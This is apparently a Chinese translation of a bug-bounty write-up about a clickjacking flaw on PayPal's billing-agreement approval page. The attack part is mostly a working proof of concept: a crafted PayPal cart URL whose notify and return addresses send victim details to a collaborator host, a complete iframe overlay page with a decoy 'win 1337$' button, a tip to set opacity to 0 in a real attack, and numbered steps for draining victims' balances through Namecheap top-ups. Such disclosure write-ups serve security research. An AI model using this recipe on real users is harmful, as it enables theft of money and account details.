如果我告诉你会怎样:黑帽黑客可以从你的银行账户和信用卡或 PayPal 余额中一键窃取你的钱。看起来很有趣,不是吗?
在这篇文章中,我将向您展示我如何在 PayPal 上发现的漏洞,但影响很大:)。
0X00 概括
7 个月前,我向 PayPal 漏洞赏金计划报告了一个安全问题,攻击者可以利用 Clickjacking 窃取用户的资金,
点击劫持,也称为“UI 补救攻击”,是指攻击者使用多个透明或不透明的层来诱使用户在打算点击顶层页面时点击另一个页面上的按钮或链接。因此,攻击者“劫持”了针对其页面的点击,并将它们路由到另一个页面,该页面很可能由另一个应用程序、域或两者拥有。
参考:https ://owasp.org/www-community/attacks/Clickjacking
我发现攻击者可以从 Paypal 帐户中窃取资金。一个老问题:
https://www.paypal.com/agreements/approve
上的点击劫持在几年前以 N/A 的形式关闭,并且没有人能够成功利用它,(我猜)。
此端点是为计费协议设计的,它应该只接受billingAgreementToken. 但在我的深入测试中,我发现我们可以传递另一种token类型,这会导致从受害者的 PayPal 账户中窃取资金。
如图所示,攻击者能够在 iframe 中加载一个敏感的paypal.com端点,当攻击者点击“near to click here”时,他会购买一些东西。
当然,受害者应该在浏览器中登录
POC证明
"https://www.paypal.com/cgi-bin/webscr?address1=sectesting&address2=sectesting02&address_override=true&amount_1=1&business=<[email protected]>&cancel_return=https://xxxxxx.burpcollaborator.net/cancel_return&city=barika&cmd=_cart&country=DZ¤cy_code=USD&email=<anything>@gmail.com&first_name=attacker&invoice=marketplace133703&item_name_1=attacker&item_number_1=133788802&last_name=attacker¬ify_url=https://xxxxxx.burpcollaborator.net/notify_url&quantity_1=1&return=https://xxxxxx.burpcollaborator.net/return&state=05&upload=1&zip=1337"
1.在上面的链接中,business将攻击者的 Paypal 电子邮件和return¬ify_url更改为您的主机以接收 HTTP 请求。以及amount_1 您想从受害者的帐户中窃取多少钱!
并且您可以将名字/姓氏和地址更改为您自己的信息,当您这样做时,此帐单全名/地址将在受害者帐户中注册!
-
2. 现在使用 CURL 发送 GET 请求,并 grep 令牌值。
3.把这个poc.html上传到你的主机上,把你的token放在参数ba_token中。
<html>
<head>
<title>POC</title>
</head>
<body>
<center> <img src="https://i.ibb.co/bWqXsQT/Mnanauk-2020-Chef-Mnanauk.jpg"></center>
<style>
iframe {
width: 1920px;
height: 1080px;
position: absolute;
top:0; left:-20px;
opacity: 1.01;
z-index: 1;
}
</style>
<iframe src="https://www.paypal.com/agreements/approve?nolegacy=1&ba_token=<TOKEN>"></iframe>
<button style="position: fixed; display: inline; z-index: 10; left: 701px; top: 520px;">Click here to win 1337$ => </button>
</body>
</html>
注意:实际攻击中opacity应该为0,你可以改变它。
现在在浏览器中登录您的 PayPal,然后打开 HTML 页面。
如您所见,我不是最好的设计师,实际上,我对 CSS 一无所知,但是我认为这个 POC 就足够了!
你应该点击你应该点击的地方哈哈哈,你会向攻击者 PayPal 汇款。此外,攻击者地址将作为默认计费注入。
在Burp Collaborator中,当受害者单击易受攻击的页面时,我们可以看到他帐户的完整信息:
此外,另一个安全问题是,攻击者注入的账单地址将是受害者 PayPal 账户的默认地址:
0X01 从用户帐户偷钱第 2 部分
有一些在线服务可以让您使用 Paypal 将余额添加到您的帐户中,例如 steam!. 我可以使用相同的漏洞并强制用户向我的帐户充值!
或者我可以利用这个漏洞让受害者为我创建/支付 Netflix 帐户!
但我在这个例子中使用了 namecheap.com
步骤
1- 打开https://ap.www.namecheap.com/Profile/Billing
2-点击充值
3-选择你想从受害者账户中窃取多少美元!
4-单击使用 PayPal 结帐
5-现在复制令牌并将其添加到 poc.html
6-打开HTML页面。
7- 现在,当受害者单击“单击此处”时,他将使用与他的 Paypal 帐户相关联的付款方式付款。
现在您已允许 Namecheap 在您的 Paypal 帐户中提取一定的余额,该余额将转到 Namecheap 上攻击者的帐户
8- 当攻击者打开https://ap.www.namecheap.com/profile/billing/topup/paypal/submit?&token=
0X02 200k$ 赏金奖励!
对不起 Clickbait,但这是 HackerOne 分类响应:
引用链接
[1]
www.paypal.com/agreements/approve: http://www.paypal.com/agreements/approve
视频POC演示:
https://youtu.be/0h85N5Ne_ac
https://youtu.be/OPAJ049YZIs
推荐阅读:
实战 | 记一次观看YouTube视频,收获一枚价值4300美金的SQL注入
点赞,转发,在看
原文地址:点击阅读原文即可跳转
由HACK整理翻译,如需转载请注明来源
原文始发于微信公众号(HACK学习呀):实战 | 记一次赏金20万美元的PayPal漏洞挖掘